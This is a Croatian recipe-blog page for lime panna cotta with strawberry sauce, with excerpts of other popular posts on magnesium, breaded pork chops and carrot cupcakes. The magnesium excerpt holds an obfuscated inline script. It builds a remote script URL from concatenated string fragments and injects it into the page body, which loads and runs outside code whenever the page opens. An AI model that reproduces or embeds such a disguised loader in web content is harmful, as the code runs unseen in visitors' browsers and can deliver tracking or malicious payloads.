PANNA COTTA S LIMETOM I PRELJEVOM OD JAGODA 🍓 🍋‍🟩





Panna cotta s limetom i preljevom od jagoda 



Nekada se upravo na najjednostavnijim receptima nauče najvažnije lekcije. Tako je i s panna cottom, poznatim talijanskim desertom od vrhnja koji na prvi pogled djeluje vrlo jednostavno, ali traži malo strpljenja i preciznosti. 




Panna cotta s limetom i preljevom od jagoda 



Sastojci:

Za panna cottu:

500 ml slatkog vrhnja
200 ml mlijeka
10 g želatine
2 žlice šećera
1 žlica meda
1 mahuna vanilije
baribana korica 1 limete


Za preljev:

1 šaka jagoda
3-4 žlice vode
2 žlice šećera
Sok 1 limete



Priprema:

Želatinu prelijte hladnom vodom prema uputama na ambalaži i ostavite nekoliko minuta da nabubri.

U posudu debljeg dna ulijte 200 ml slatkog vrhnja i mlijeko. Dodajte šećer, med, sjemenke vanilije i naribanu koricu limete. Zagrijavajte uz miješanje dok se šećer ne otopi. Kada smjesa zavrije, kuhajte na laganoj vatri još jednu minutu.

Maknite s vatre, dodajte ocijeđenu želatinu i miješajte dok se potpuno ne rastopi.

Dodajte preostalo slatko vrhnje, promiješajte i procijedite kroz gusto sito kako biste uklonili koricu limete. Smjesu ulijte u kalup ili rasporedite u šest manjih posudica.

Ostavite da se kratko ohladi na sobnoj temperaturi, a zatim stavite u hladnjak na najmanje 5 do 6 sati kako bi se dobro ohladila i učvrstila. Za preljev stavite jagode u manju posudu i lagano ih zgnječite. Dodajte šećer, vodu i sok limete pa kuhajte na laganoj vatri 2 do 3 minute. Maknite s vatre i procijedite ako želite glatki preljev. Za gušću teksturu možete dodati malo gustina pomiješanog s vodom. Ohlađenu panna cottu prelijte preljevom od jagoda i poslužite.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više